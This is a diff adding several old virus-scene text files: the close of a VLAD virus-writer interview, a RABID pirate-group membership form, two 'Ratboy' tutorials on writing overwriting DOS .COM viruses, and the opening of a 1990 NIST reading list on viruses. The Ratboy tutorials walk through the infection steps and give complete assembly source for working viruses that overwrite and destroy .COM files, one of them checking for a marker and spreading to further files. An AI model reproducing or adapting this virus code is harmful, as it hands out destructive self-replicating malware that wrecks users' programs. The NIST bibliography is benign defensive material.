/pub/deadkat/virus/vlad + +-Are you kind enough to answer these two questions? + + 1. How can you miss something you never had? + 2. How can you regret something you never did? + + 1. If the need is self-evident. + 2. Inaction can be as bad as action. + +-Something else you wish to say but never had the opportunity to + say before? + + Don't write viruses which have been done before. Do something new! + +-Do you wish to send any greets / goto hell messages? + + Q the Misanthrope: VLAD got your message and we are glad you like us. + All your viruses are pretty cool (although your code is somewhat + unreadable). Get an internet account! Most virus writers meet on + irc nowadays. + + Thanx to pb for all the internet axs he gives me :-) + +================================================================================ diff --git a/textfiles.com/virus/rab_mem.apl b/textfiles.com/virus/rab_mem.apl new file mode 100644 index 00000000..2370ced8 --- /dev/null +++ b/textfiles.com/virus/rab_mem.apl @@ -0,0 +1,139 @@ +============================================================================ +Fill-out this form, rename the file to yer name and zip it. Then Upload yer +application in Privite to TGS. Thanx......ProTurbo - Sysop of The G Spot +============================================================================ + +Before you start filling out the application, make sure that you +are very serious about it. All I'm saying is do not waste my time. + + + M E M B E R S H I P A P P L I C A T I O N F O R M + ---------------------------------------------------- + +Which position are you applying for: + +[] - RABID Courier +[] - RABID Programmer +[] - RABID QC/R&D +[] - RABID Spy +[] - RABID Site + + +1. What is yer alias? + +______________________________________________ + + + +2. What is yer real name? + +______________________________________________ + + + +3. Give me a number and a time so we can talk voice. + +______________________________________________ + + + +4. How Long have you been pirating? + +______________________________________________ + + + +5. How old are you and what do you do for a living. + +______________________________________________ + +______________________________________________ + + + +6. Name 3 users for references. + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + +7. Are you affiliated with any group. If YES name them. + +______________________________________________ + +______________________________________________ + + + +8. Which programing skills do you have and how long have + you been programming? + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + +9. Are you a Sysop?, If so name yer board, number and everything else. + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + +10. Name Pirate/PD boards with numbers yer on. + +______________________________________________ + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + +11. Did you ever write a virus?, if so name them. + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + +12. Do you call LD? + +______________________________________________ + +______________________________________________ + + + +13. Specifically where did you hear about RABID. Be very specific. + +______________________________________________ + +______________________________________________ + +______________________________________________ + +______________________________________________ + + + + +Well that's it, I would also like for you to write me a letter +about you and why you want to joing RABID. + +Also write anything else that you think may help yer application. \ No newline at end of file diff --git a/textfiles.com/virus/ratboy-1.txt b/textfiles.com/virus/ratboy-1.txt new file mode 100644 index 00000000..9d6c36f1 --- /dev/null +++ b/textfiles.com/virus/ratboy-1.txt @@ -0,0 +1,294 @@ + /\---/\ RATBOY'S OVERWRITING VIRUS TUTORIAL +( . . ) + \ / WARNING: The information contain within here can be + \ / ^^^^^^^ dangerous to you mind and computer!!!!!!!! + \*/ I assume no responsiblity!!!!!!!!! + # + + Well here it is my first instructional tutorial. I felt it was +nesscary for this file since I could not find any tutorials that taught +virus writing from the basic overwriting virus. Well that's how I started +and now I want to show you. So that you too can have a long and fruitful +life of codeing viruses. :) + + OVERWRITING VIRUSES + +-=What is an overwritting virus? + +I'm glad you asked that. :) An overwriting virus is a virus that reproduces +by overwriting the first parts of a program with itself. Here is an example: + + +-------------------------+ (I got this example from + | P R O G R A M | 40Hex, thanks P/S!!!!) + +-------------------------+ + plus: + +--------+ + | VIRUS! | + +--------+ + equals: + + +--------+----------------+ + | VIRUS! | G R A M | + +--------+----------------+ + + As you can see the first part of the program was overwritten with +the virus code. Since important parts of the original program are +effectivly destroyed it won't ever run, but the virus code will. +As you can guess overwriting viruses are very destructive and not very +productive. But you must learn to walk before you can do the Polka!! + + +-=So what does one need to know to write an overwriting virus? +Another question I'm glad you asked. :) Well having a basic knowledge in +Assembly is a must, but it is not very differcult. As a virus writer, I +only know one programing language, Assembly. I didn't even learn BASIC. +So don't listen to those that say don't learn Assembly, it's a wonderful +programing language. At the end of this file I'll be recomending books and +things to do to help ya on your way to Assembly and virus writing. + + Well let's get down to codeing!!!! :) +We will be dealing with .Com files. So here is the basic setup for a .Com +file in an Assembly source file: +----------------------------------------------------------------------------- + CODE SEGMENT + ASSUME CS:CODE,DS:CODE ;in .Com files the data, code, extra + ;and stack segments are all the same. + ORG 100H ;this is where all .Com files start + ;in memory. This allows room for the + ;PSP. +STARTVX PROC NEAR + + blah! ;all your virus body goes here + blah! + blah! +STARTVX ENDP + blah! ;all your 'db's go here etc..etc... +CODE ENDS + END STARTVX +----------------------------------------------------------------------------- + +See the set up isn't really hard to follow, but the lack of info in that +example can be confusing. We'll get to a full Virus source code a little +later. + Now what is the basic setup for a simple overwriting virus? Well +let's look at the order of operations: + +(1) find a file +(2) open the found file +(3) write the virus to the opened file (infect it) +(4) close the file +(5) exit + +Well as you can see there is nothing but pure replication functions in this +setup. Well I wanted it to be easy and not to boog you down with encryption, +id bytes, etc... We are dealing with ZEN and the art of basic viruses! + +Here we go looking at these steps of an simple overwriting virus: + +(1) FIND FIRST FILE! +the inputs: + + AH: 4EH + CX: FILE ATTRIBUTES + DX: OFFSET ADDRESS OF FILE NAME + DS: SEGMENT ADDRESS OF FILE NAME + +Now let's see how we would put this into our little program: + + mov ah,4eh ;find first service + mov cx,0000h ;we 0'ed cx for normal files + mov dx,offset star_com ;the file mask for .Com file + ;you'll see + int 21h +;now of course when you said star_com you need to tell the Assembler what +;you are talking about. Here it is: + +star_com: db "*.com",0 + +;ya see how it will work. With the use of the wild card '*' the first file +;that has the ending of .com will be found. This is easy isn't it? + + Now you can see that we didn't need to touch DS: since CS=DS=ES=SS. +So the Star_com already was in the Data Segment. Yay!!!!! Love em .Com +files. Sorry need to get back on track. + + Now before we can go on and talk about open a found file for writing +to(infecting), we must talk about the Disk Transfer Area (DTA). When you +find that first file, information about the file found goes into the DTA, +everything from file name to date of creation. Here's the setup: + + 0h db 21 dup(0) ;reserved for DOS uses + 15h db 00 ;file attributes + 16h dw 0000 ;file time + 18h dw 0000 ;file date + 1ah dd 00000000 ;file size + 1eh db 13 dup(0) ;asciiz of the file name. + + That is the layout of the DTA. Now the DTA lies in the PSP. The +first 256 (100h) bytes infront of the .Com file. It's address is 80h. +Most of the time in virus writing, you would want to move the DTA to a +location where you can manipulate it without possbile messing up the PSP. +Well for our case, with a simple overwriting virus, we don't need to worry. +All we are going to do is read from the DTA, the file name we just have +found. Now this is how we will address the file name, now we know that +the DTA starts at 80h, and we know that at 1eh from the DTA's begining is +the asciiz of the file name. So we just add them together and see what we +get, 80h + 1eh = 9eh. Well that is were it's located, now let's move on +to the next step. + +(2) OPENING THE FOUND FILE! +the inputs: + + AH: 3DH + AL: 00H ;opened for reading only + 01H ;opened for writing only + 02H ;opened for both reading and writing + DX: OFFSET ADDRESS OF THE FILE NAME + DS: SEGMENT ADDRESS OF THE FILE NAME + +outputs: + AX: FILE HANDLE + +Now look at it setup in the format we need to know. + + mov ah,3dh ;open file + mov al,02h ;open it for reading and writing + mov dx,9eh ;remember this is where the name in the DTA + int 21h + +Now Dos services will return a file handle of the file we just opened. The +file handle is nothing more than a number that dos uses to know where it +will read from(the file) or write to(the file). We don't want it in AX +since the next step that you will see we need it in BX. Here's a easy way +to move it: + + xchg bx,ax ;that will put the file handle into bx in one + ;step!!! + +Ok now the down and dirty stuff. Infecting the file we just opened. Ha ha! + +(3)WRITING TO THE OPENED FILE(INFECTING) +the inputs: + + AH: 40H + BX: FILE HANDLE + CX: BYTES TO WRITE + DX: OFFSET OF ADDRESS OF THE BEGINING OF THE VIRUS + +Here we go again with seeing what it will look like: + + mov ah,40h + mov cx,offset endvx - offset startvx ;this will find the virus + ;lenth, how many bytes to + ;write.... + mov dx,offset startvx ;where the virus starts + int 21h + +Ahhhhhhhhh! I always feel so relaxed after reproducing....ahh.hh...h! +Oh...where was I, a...well now that we have copied the virus to the file, +now we can close it up. + +(4)CLOSE THE FILE! ;Whata-ya live in a barn! +the inputs: + AX: 3EH + BX: FILE HANDLE + + Now before we go on remember how after we opened the file that we +put the file handle in BX. So since we didn't mess with BX we should just +have to: + + mov ah,3eh + int 21h + + Now for the final and last step the exiting. Here ya go: +(5)EXIT! + + int 20h + + Well I know it isn't really pretty, but it works. +Well let's look at how all of it fits together: + +----------------------------------------------------------------------------- +Code Segment + Assume CS:code,DS:code + Org 100h + +startvx proc near + + mov ah,4eh + mov cx,0000h + mov dx,offset star_com + int 21h + + mov ah,3dh + mov al,02h + mov dx,9eh + int 21h + + xchg bx,ax + + mov ah,40h + mov cx,offset endvx - offset startvx + mov dx,offset startvx + int 21h + + mov ah,3eh + int 21h + + int 20h + +startvx endp + +star_com: db "*.com",0 + +endvx label near + +code ends + end startvx + +----------------------------------------------------------------------------- + Sorry I didn't put comments in, but that was done so that if you can +not read along and follow what is going on. You need to re-read this file, +and practice more Assembly. + +-=Now that I know overwriting virus programing what can I use them for? +Another fine question. :) Overwriting viruses are simple, and being simple +they are fairly easy to follow and program. That in it's self will help +educate you in the basics of a virus, writing, reading, find file, etc.... +Also since it's fairly easy to write up an overwriting virus you can use them +as test platforms for other routines. Formating HD's, visual displays, +encryption, etc..... This is so that you can concentrate on the how +the test routine will work not the virus. + +-=Now that I have the basics, is that all I need? +OH No, there are many things that you need, the knowledge being the hardest. +Read Assembler Inside and Out, and Using Assembly, they're really good books. +You need, an Assembler(A86+TASM), lot's of source codes to learn from(some +included). It just dosen't stop there, you will need a some really good +virus scanners to track what your virus is doing. F-prot and Tbav are +great, but if you come up with a virus that is unscannerable they won't work. +That's why I highly recommend INVIRCIBLE. It will protect you from real +screw ups, track your virus movement, even unscannibles, even protect you +from your 'friends' viruses on you computer >:>. It's the best anti-virus +protection out there, you need to know your enemy, and it's a powerful tool. +The biggest and most important thing you can have is people that are helpful +enough to take the time to answer the questions that form in your mind. You +will see some of those people in the closing credits of this file. Talk to +them. + + Now you are on to a long and fruitful life of making your + own viruses. Remember pratice, ask questions, read and + of course have fun!!!!!!! + +***************************************************************************** + +Now I would like to take the time to thank a few people: + +-=*God, for making me possible +-=*My Wife, for putting up with me!! +-=*FC, thanks for all the info and help, dude!!! +-=*Invircible, yea I know it's a piece of software, but it has covered my but + enough times. Thanks Mike!!!!!!!!!!!!!!!!! +-=*Aristotle, yea Aristotle, the dude help start me out. +-=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc.. + diff --git a/textfiles.com/virus/ratboy-2.txt b/textfiles.com/virus/ratboy-2.txt new file mode 100644 index 00000000..57c460ae --- /dev/null +++ b/textfiles.com/virus/ratboy-2.txt @@ -0,0 +1,404 @@ + /\---/\ RATBOY'S OVER WRITTING VIRUS TUTORIAL #2 +( . . ) + \ / WARNING: Information Contained Within Can Eat Both Your + \ / ^^^^^^^ Mind, Hard Drive and your dog. + \*/ I assume no responsiblity!!!!!! + # + + Hello everyone!!!! Considering I have gotten positive responses about +Ratboy#1 I decided to continue on with your lessions in simple viruses. +So what is in store for this issue? We will be going over some terms to +help us in this issue. Also, we will move on to more complex overwriting +.Com viruses. If you read and understood Ratboy#1, you should understand +how to due simple file operations. Such as, you need to open the victum +for reading and writing, and if you are a ATF agent you need to open the +file to shoot it in the back like it was one of your own agents. You will +read how to read from your file, write to it, "tag" it, and more helpful +example code to help with your further learning of viruses. :) Yea!! + +Now the boreing parts: + +What is a JMP (jump)? + A jump is kinda like what it sounds like, a jump. Since we know + that an assembly source reads top to bottom, sometimes we need to + skip around in a program depending on the situation. Here's a simple + example: + + call delta_offset + delta_offset: + pop bp + sub bp,delta_offset + jmp restore ;<===this is a jump :) + eat_hd: + "blah" + "blah" + + As you can see, in the example, we jumped over eat_hd and anything + else that was between the jump and restore. A real simple + explanation of how a jump works is like this. A jump when put + together by the assembler, well be converted to a jump without + the label but a displacement. Like this: + + jmp anywhere + + Really means jmp 45 bytes + + As you can see the number is postive so it a foward jump (negative + would be backwards). Now I think I'm getting too far, I just wanted + you to understand it's a displacement. I'm not even going into + conditional jumps since I did say in the Ratboy#1 you do need to + understand Assembly. I know a lot of this should be old hat, but + bare with me for now. :) + +I was recently asked what is a CALL? + A call is like a jump with a return address. When a Call is made, + the next line offset(address) is pushed into the stack, and a jump + to the place called is made. Once there, you can return by using + RET. This RET will pop the return address off the stack and jump + there. + Simple example: + + mov al,02h + call mov_ptr ;<==the next line's address it put into + ;the stack (that would be eat_hd) and a + ;jump is made to mov_ptr + eat_hd: + "blah" + "blah" + "blah" + jmp exit ;<==simple review, how does this work? + + mov-ptr: + "blah" + "blah" + "blah" + ret ;ah..now the return address(eat_hd) is + ;popped off the stack and a jump is made + ;to it + +Another question was what is an OFFSET? + Since we are so far just dealing with .Com files make this real + simple. An offset is like an address. If you know where you live, + then you understand how and address works. + Simple Simple Example: + + Where does Debby live? + Oh, on 16th St. and 5th Ave. (that is an example of an Offset) + Review: + Where does Debby live? + Oh, go down three blocks and the third house on the left. + (this is an example of a jump, see the displacement?) + +Another question is what is LEA? + LEA stands for Load Effective Address. Yarn! Too technical. Here's + how it works. Remember in Ratboy#1 when looking for a file, you + needed to load the file type(*.com) offset into dx, like this: + + mov dx,offset file_type + + well you can do this instead: + + lea dx,file_type + + Nuff said. Practice with it, see its ranges of use. + +Ok I know some one must have fallen asleep, if this bores you just go ahead +and read Dark Angel's Virus Writing Guides, maybe they are up to speed with +you. + +How can I speed up my programs? + Simple, kinda think of speed as being the least amount of bytes + nessary for you to carry out the job. + example: + + mov ax,0 ;3 bytes + sub ax,ax ;2 bytes + + So which one would you figure to be the faster. I used sub ax,ax + since I don't want to even go into explaining XOR, but XOR AX,AX + will do the samethin. Do some reading up on it, you'll need it for + encryption later on in your virus writing carreer. The Sub should + make sense, subtract a number from itself = 0. + + Also here's another way of putting what is AX in BX. + + Instead of saying: + mov bx,ax ;2 bytes + + say: + xchg bx,ax ;1 byte + + Ya get it? + +Now down to the exciting part of doing something. Yea!!!! + +Ok in the last issue if you made your virus and you noticed that it infected +the first file and not any others, that's because it was real simple. This +time we will teach your little life form how to determine if the file is +already infected. Now how do you make sure you know which underwear are +your's at summer camp, your mom sewed your name inside of them. If you are +over 30 and your mom still does this, you are a geek. No arguements, you are +a Geek. + +Ok, we need to put in, the infected file, some type of marker, so that we +can later read it. Let's keep this simple, since ofcourse that's the motive +of this tutorial. I will use the letter "r" for RaTBoY. We will put +that "infection marker" right after the jump. So it will kinda look like +this: + virus_start: + jmp find_first + me db 'r' + find_first: + "blah" + "blah" + +Ya see it? Now we will go on. Since to do it all you have to do is put the +Me db 'r' in the front of your virus. Now we need to put that jump in +there, for the file to go over the 'r' and start looking for the file. All +the virus needs to do is read the first four bytes of a file, and check if +the 4th (jmp + offset = 3bytes) byte to identify if it's already infected. + +Now let's look at the order of operations. For you english majors this is +outline. :) + + +(I) find file + (a)no files to infect...EXIT +(II) open file for reading +(III) read first four bytes +(IV) close file +(V) compare to id byte(infection marker) + (a) if infected already: + 1. setup to find next file + 2. goto step I + (b) if not infected continue on +(VI) open file for read/write +(VII) write self to file +(VIII) close file +(IX) exit + +Now that should not be such a differcult virus to make. Some of this +material will be review for you and a chance to see if you can still +understand everything clearly. + +-=Step I=- + ~~~~~~ +Now of course we need to find the first file. Here are the required inputs: + + ah = 4eh + cx = atributes + dx = file type (ie. *.com) + int 21h + +if the carry flag is set then there were no files, so if: + jc exit ;jump to exit if no files +not bad if you can remember this off the top of your head. I think I went +over this well enough in Ratboy#1, so not to bore you I go on. + +-=Step II=- + ~~~~~~~ +Now we need to open that file to read and write to it. Inputs are: + + ax = 3d00h ;remember the value of AL will setup + ;for the access you want + ;al = 00h(read only) + ;al = 01h(write only) + ;al = 02h(read/write) + dx = offset address of file name + int 21h +Returns: + ax = file handle (or error code..nah can't happen) + +Now do you remember where we get that file name? Why of course you know +this, it's in the DTA. Now since we didn't mess with it, it should be +at 80h in the Program Segment Prefix (PSP). So if you know that and you've +read Ratboy#1 where do we look for the address of the file name? +That's right 9eh. Remember to put the file handle in BX where we will use it +later(ie. xchg bx,ax) Since we went over this in Ratboy#1 we'll go on. + +-=Step III=- + ~~~~~~~~ +Now comes something new. We will read the first four bytes of the victum +file, and put it in our buffer, HOLDN_PLACE. Here's the function's inputs: + + ah = 3fh + bx = file handle + cx = bytes to read + dx = offset of buffer(buffer = the place you put the read byte(s)) + int 21h + +Here's how it would look in your virus: +***Remember that at the end of step two we put the file handle in bx*** + + mov ah,3fh + mov cx,4 + lea dx,holdn_place + int 21h + +and ofcourse at the end to the virus: +holdn_place db ?,?,?,? + +-=Step IV=- + ~~~~~~~ +Close up the file. So if it's infected, we just move on. If the file is not +infected, we open it up for read and write access. Inputs: + + ax = 3eh + int 21h + +Simple enough? + +-=Step V=- + ~~~~~~ +Now we will compare the four bytes of the possible victum to the id byte. + + cmp byte ptr [holdn_place +3],'r' ;told ya I would use a 'r' + jnz open_it_again ;if not same then time to infect + mov ah,4fh ;now we set up ah with 4fh(find next) + ;we could use a whole new find file routine but we will + ;use the the one from find first, just that now ah=4fh + ;if that confused you read the source for the setup. + +-=Step VI=- + ~~~~~~~ +Now since it passed the test of not being infected, just reopen it. +This time so we can write to it. :) Then inputs: + + ax = 3d02h + dx = offset of file name + int 21h + +Just to go over it one more time here's what it will look like: + + mov ax,3d02h + mov dx,9eh ;That's where the file name is in the DTA + int 21h + xchg bx,ax ;remember to put that file handle in BX :) + +-=Step VII=- + ~~~~~~~~ +Of course this write to victum part should be real old hat for ya, since +this is the part that seperates a lame trojan from a |< 00\_ virus. +write to file inputs: + + ah = 40h(hey isn't that a magazine?) + cx = number of bytes to write(size of virus) + bx = file handle(victum) + dx = offset address of buffer(beginning of virus) + +If unfamiliar with writing to file, just wait and look over the source at +the end of this file. + +-=Step VIII=- + ~~~~~~~~~ +Close file....sorry if this is getting repetative, but that is the sign of +you learning how to do this real well. Inputs: + + ah = 3eh + bx = file handle(victum) + +-=Step IX=- + ~~~~~~~ +Exit. Here's a real easy way: + + INT 20h + +Well that is enough of that piece by piece construction. Let's look at the +finish part. + +;Ratboy tutorial over writer #2 virus + +code segment ;these part should look familar + assume cs:code,ds:code + org 100h +virus proc near + +virus_start: + jmp find_first + db 'r' ;there's that id byte + +find_first: ;load ah with 4eh for finding first + mov ah,4eh ;file like the file_type + +find_file: + xor cx,cx ;this put a 0 in cx, remember? The 0 + ;means look for normal attributes + lea dx,file_type ;sets up for what type of file we're + ;looking for, *.com + int 21h + jc exit ;no files, time to leave. + +open_file: + mov ax,3d00h ;open file found for reading from. + mov dx,9eh ;the file name is in the DTA + int 21h + xchg bx,ax ;remember that ax will return with the file + ;handle, and we need that is bx :) +read_file: + mov ah,3fh ;read file + mov cx,4 ;four bytes + lea dx,holdn_place ;that's where it's going.... ;) + int 21h + +close_it_up: + mov ah,3eh ;just like it says + int 21h + +compare: + cmp byte ptr[holdn_place + 3],'r' ;check if there is a 'r' + jnz open_it_up_again ;not there ok let's infect + + mov ah,4fh ;ok let's setup to look for another file + jmp find_file ;ah..you see how we will be using find_file + ;but this time ah=4fh not 4eh. See how it's + ;different, but the same. +open_it_up_again: + mov ax,3d02h ;Alright, we have a live one here!!!! + mov dx,9eh ;let's get that file name again + int 21h + xchg bx,ax ;yup, once again. + +infect: + mov ah,40h + mov cx,offset endvx - offset virus_start + ;the end minus the beginning gives the lenth + ;of the virus. #of bytes to write. + lea dx,virus_start ;the virus's begining so this tells where to + ;to start writing from and bx contains the + ;file handle, where to write to. + int 21h + +close_victum: + mov ah,3eh ;now let's close up the victum + int 21h + +exit: int 20h ;time to exit, later!!! + +file_type db "*.com",0 +holdn_place db ?,?,?,? +endvx label near +virus endp +code ends + end virus_start + +I really do hope that this tutoral has been helpful to you. Remember if you +find this boring. Then you know enough write effective overwriting viruses, +and you should move on to other types of virus. + +Now remember the best teacher in virus writer is yourself practicing. So if +you want to try something different, try it. Just don't do it in your DOS +directory. :) + +Also Included with this file: sources to overwriters and Ratboy viruses. +You still need an Assembler, Bait files, a good reference book and not +to forget good people to ask a lot of dumb questions to. Like I do. :) + +Of course that usual ending where I thank all those that have helped me: + +-=GOD: I woke up breathing today. :) +-=Mrs. Ratboy: For putting up with me ;) +-=FC: For all the help dude!!!!!!!!!!!! +-=Aristotle: No Aristotle I didn't mean you when I said GOD, but Thanks. +-=M.P.: Love ya software, Invircible. +-=Thanks to these guys and groups: Virogen, Terminal Velocity, NuKE, Falcon, + Vlad, Immortal Riot, P/S, ACVR, and every virus writer I didn't mention!!! diff --git a/textfiles.com/virus/readlist.vir b/textfiles.com/virus/readlist.vir new file mode 100644 index 00000000..1f02be60 --- /dev/null +++ b/textfiles.com/virus/readlist.vir @@ -0,0 +1,441 @@ + + + + + + + + + An Abbreviated Bibliography for + + + + Computer Viruses + + and + + Related Security Issues + + + + + + + + + + + + + + + + + Revised + April 18, 1990 + + + + + + + NIST The National Institute of Standards and Technology + + ABSTRACT + +This document provides a list of suggested +readings about computer viruses and other +related threats to computer security. The +primary intended audience is management and +those who need access to the basic facts, +however readings are included that are also +suitable for technically-oriented individuals +who wish to learn more about the nature of +computer viruses and techniques that can be +used to reduce their potential threat. The +suggested readings range from general discus- +sions on the nature of viruses and related +threats, to technical articles which explore +the details of various viruses, the mechan- +isms they attack, and methods for controlling +these threats to computer security. Other +articles are included that deal with more +general aspects of computer security, but +which have some bearing on the problem. + + + + + + + + + + + + +The National Institute of Standards and Technology + + +The National Institute of Standards and Tech- +nology (NIST) has responsibility within the +Federal Government for computer science and +technology activities. The programs of the +NIST National Computer Systems Laboratory +(NCSL) are designed to provide ADP standards, +guidelines, and technical advisory services +to improve the effectiveness of computer +utilization and security, and to perform +appropriate research and development efforts +as foundation for such activities and prog- +rams. Copies of this paper as well as other +publications may be obtained from the follow- +ing address: + +National Institute of Standards and Technology + +Computer Security Management and Evaluation Group + + Computer Security Division + A216, Technology + Gaithersburg, MD 20899 + + + BASIC TERMS + + +The following list provides general definitions for basic terms +used throughout the literature. Some of the terms are relatively +new and their definitions are not widely agreed upon, thus they +may be used differently elsewhere. + +Computer Virus: A name for +software written to cause some +form(s) of damage to a comput- +ing system. Computer viruses +copy their instructions to +other programs; the other pro- +grams may continue to copy the +instructions to more programs. +Depending on the author's mo- +tives, the instructions may +cause many different forms of +damage, such as deleting files +or crashing the system. Com- +puter viruses are so named be- +cause of their functional sim- +ilarity to biological viruses, +in that they can spread rapid- +ly throughout a host system. +The term is sometimes used in +a general sense to cover many +different types of harmful +software, such as Trojan hor- +ses or network worms. + +Network Worm: A name for a +program or command file that +uses a computer network as a +means for causing damage to +computing systems. From one +system, a network worm may at- +tack a second system by first +establishing a network connec- +tion with the second system. +The worm may then spread to +other systems in the same man- +ner. A network worm is simil- +ar to a computer virus in that +its instructions can cause +many different forms of +damage. However, a worm is a +self-contained program that +spreads to other systems, +whereas a virus spreads to +programs within the same sys- +tem (a worm could do that as +well). + +Malicious Software: A general +term for computer viruses, +network worms, Trojan horses, +and other software designed to +deliberately circumvent +established security +mechanisms or codes of ethical +conduct or both, to adversely +affect the confidentiality, +integrity, or availability of +computer systems and networks. + +Unauthorized User(s): A user +who knowingly uses a system in +a non-legitimate manner. The +user may or may not be an +authorized user of the system. +The actions of the user +violate established security +mechanisms or policies, or +codes of ethical conduct, or +both. + +Trojan Horse: A name for a +program that disguises its +harmful intent by purporting +to accomplish some harmless +and possibly useful function. +For example, a Trojan horse +program could be advertised as +a calculator, but it may +actually perform some other +function when executed such as +modifying files. + +Back Door: An entry point to +a program or system that is +hidden or disguised, perhaps +created by the software's +author for maintenance or +other convenience reasons. +For example, an operating sys- +tem's password mechanism may +contain a back door such that +a certain sequence of control +characters may permit + +access to the system manager +account. Once a back door be- +comes known, it can be used by +unauthorized users or +malicious software to gain +entry and cause damage. + +Time Bomb, Logic Bomb: +Mechanisms used by some +examples of malicious software +to cause damage after a +predetermined event. In the +case of a time bomb, the event +is a certain system date, +whereas for a logic bomb, the +event may vary. For example, +a computer virus may infect +other programs, yet cause no +other immediate damage. If +the virus contains a time bomb +mechanism, the infected +programs would routinely check +the system date or time and +compare it with a preset +value. When the actual date +or time matches the preset +value, the destructive +aspects of the virus code +would be executed. If the +virus contains a logic bomb, +the triggering event may be a +certain sequence of key +strokes, or the value of a +counter. + +Anti-Virus Software: Software +designed to detect the occur- +rence of a virus. Sold as +commercial products and as +shareware, anti-virus programs +can scan software for known +viruses or monitor a system's +behavior and raise alarms when +activity occurs that is typi- +cal of certain types of +computer viruses. + +Isolated System: A system +that has been specially +configured for determining +whether applicable programs +contain viruses or other types +of malicious software. The +system is generally +disconnected from any computer +networks or linked systems, +and contains test data or data +that can be restored if +damaged. The system may use +anti-virus or other monitoring +software to detect the +presence of malicious +software. + +Computer Security: The tech- +nological safeguards and +management procedures that can +be applied to computer +hardware, programs, data, and +facilities to assure the +availability, integrity, and +confidentiality of computer +based resources and to assure +that intended functions are +performed without harmful side +effects. + SUGGESTED READINGS + + +Adler, Marc, "Infection Protection: Antivirus Software" PC +Magazine, April 25, 1989. + +Arkin, Stanley et al., "Prevention and Prosecution of High-Tech +Crime," Matthew Bender Press Co., 1989. + +Brenner, Aaron, "LAN Security", LAN Magazine, August 1989. + +Bunzel, Rick, "Flu Season," Connect, Summer 1988. + +Cohen, Fred, "Computer Viruses," Proceedings of the 7th DoD/NBS +Computer Security Conference, 1984. + +Computer Viruses - Proceedings of an Invitational Symposium, Oct +10/11, 1988, Deloitte, Haskins, and Sells, 1989. + +Denning, Peter J., "Computer Viruses," American Scientist, Volume +76 May-June 1988. + +Denning, Peter J., "The Internet Worm," American Scientist, +Volume 77, March-April 1989. + +Dewdney, A. K., "Of Worms, Viruses and Core Wars," Scientific +American, March 1989. + +Dvorak, John, "Virus Wars: A Serious Warning," PC Magazine, Feb +29, 1988. + +Federal Information Processing Standards Publication 112, +Password Usage, National Bureau of Standards, May 1985. + +Fiedler, David and Hunter, Bruce M., "Unix System Administra- +tion," Hayden Books, 1987. + +Fites, P.F., M.P.J. Kratz, and A.F. Brebner, "Control and +Security of Computer Information Systems," Computer Science +Press, 1989. + +Fitzgerald, Jerry, "Business Data Communications: Basic Concepts, +Security, and Design," John Wiley and Sons, Inc., 1984. + +Gasser, Morrie, "Building a Secure Computer System," Van Nostrand +Reinhold, New York, 1988. + +Grampp, F. T. and Morris, R. H., "UNIX Operating System +Security," AT&T Bell Laboratories Technical Journal, October +1984. + +Greenberg, Ross, "Know Thy Viral Enemy," Byte Magazine, June +1989. + +Hatkin, Martha E, and Robert B. J. Warner, "Smart Card Technol- +ogy: New Methods for Computer Access Control," NIST Special +Publication 500-157, National Institute of Standards and Tech- +nology, September 1988. + +Hoffman, Lance, "Modern Methods for Computer Security and +Privacy," Prentice-Hall, 1977. + +Honan, Patrick, "Avoiding Virus Hysteria," Personal Computing, +May 1989. + +Kurzban, Stanley A., "Viruses and Worms--What Can You Do?," ACM +SIG Security, Audit, & Control, Volume 7 Number 1, Spring 1989. + +Lipner, S. and S. Kalman, "Computer Law,", Merrill Publishing +Co., 1989. + +McAfee, John, "The Virus Cure," Datamation, Volume 35, Number 4, +February 15, 1989. + +McLellan, Vin, "Computer Systems Under Siege," The New York +Times, January 17, 1988. + +Murray, William H., "Epidemiology Application to Computer +Viruses," Computers and Security, Volume 7, Number 2, April 1988. + +Parker, T., "Public domain software review: Trojans revisited, +CROBOTS, and ATC," Computer Language, April 1987. + +Pfleeger, Charles, P., "Security in Computing," Prentice-Hall, +1989. + +Pozzo, Maria M., and Terence E. Gray, "An Approach to Containing +Computer Viruses," Computers and Security, Volume 6, Number 4, +August 1987. + +Rubenking, Neil, "Infection Protection," PC Magazine, April 25, +1989. + +Schnaidt, Patricia, "Fasten Your Safety Belt," LAN Magazine, +October 1987. + +Shoch, John F., and Jon A. Hupp, "The Worm Programs--Early +Experience with a Distributed Computation," Communications of the +ACM, Volume 25, Number 3, March 1982. + +Spafford, Eugene H., "The Internet Worm Program: An Analysis," +Purdue Technical Report CSD-TR-823, November 28, 1988. + +Spafford, Eugene H., Kathleen A. Heaphy, and David J. Ferbrache, +"Computer Viruses - Dealing with Electronic Vandalism and +Programmed Threats," ADAPSO Software Industry Division Report, +1989. + +Stefanac, Suzanne, "Mad MACS," Macworld, November 1988. + +Steinauer, Dennis D., NBS Special Publication 500-120, Security +of Personal Computer Systems: A Management Guide, National Bureau +of Standards, January 1985. + +Stohl, Clifford, "The Cuckoo's Egg," Doubleday, 1989. + +Thompson, Ken, "Reflections on Trusting Trust (Deliberate +Software Bugs)," Communications of the ACM, Vol 27, August 1984. + +Tinto, Mario, "Computer Viruses: Prevention, Detection, and +Treatment," National Computer Security Center C1 Tech. Rpt. C1- +001-89, June 1989. + +Wack, John P., and Lisa J. Carnahan, "Computer Viruses and +Related Threats: A Management Guide," NIST Special Publication +500-166, National Institute of Standards and Technology, August +1989. + +White, Steve R., David M. Chess, and Chengi Jimmy Kuo, "Coping +with Computer Viruses and Related Problems," Research Report +Number RC 14405, International Business Machines Corporation, +Yorktown Heights, New York, 1989, adapted and distributed as +"Coping with Computer Viruses and Related Problems," Form G320- +9913, International Business Machines Corporation, September +1989. + +Witten, I. H., "Computer (In)security: infiltrating open sys- +tems," Abacus (USA), Summer 1987. + +ELECTRONIC FORUMS: + +VIRUS-L is a moderated mail forum for discussing computer virus +issues; comp.virus is a non-digested Usenet counterpart. Infor- +mation on accessing anti-virus, documentation, and back-issue +archives is distributed periodically on the list. Send subscrip- +tion requests to: LISTSERV@LEHIIBM1.BITNET. In the body of the +message, enter "SUB VIRUS-L your name" + +RISKS-FORUM Digest is a moderated mail forum for discussing +computer security issues as well as risks associated with other +forms of technology. Send subscription requests to: +RISKS-Request@CSL.SRI.COM. + +The NIST Security Bulletin Board is a repository of computer +security information open to the general public. Users can +download files, send messages, participate in forums, and access +security alert information. Dial +(301) 948-5717 at 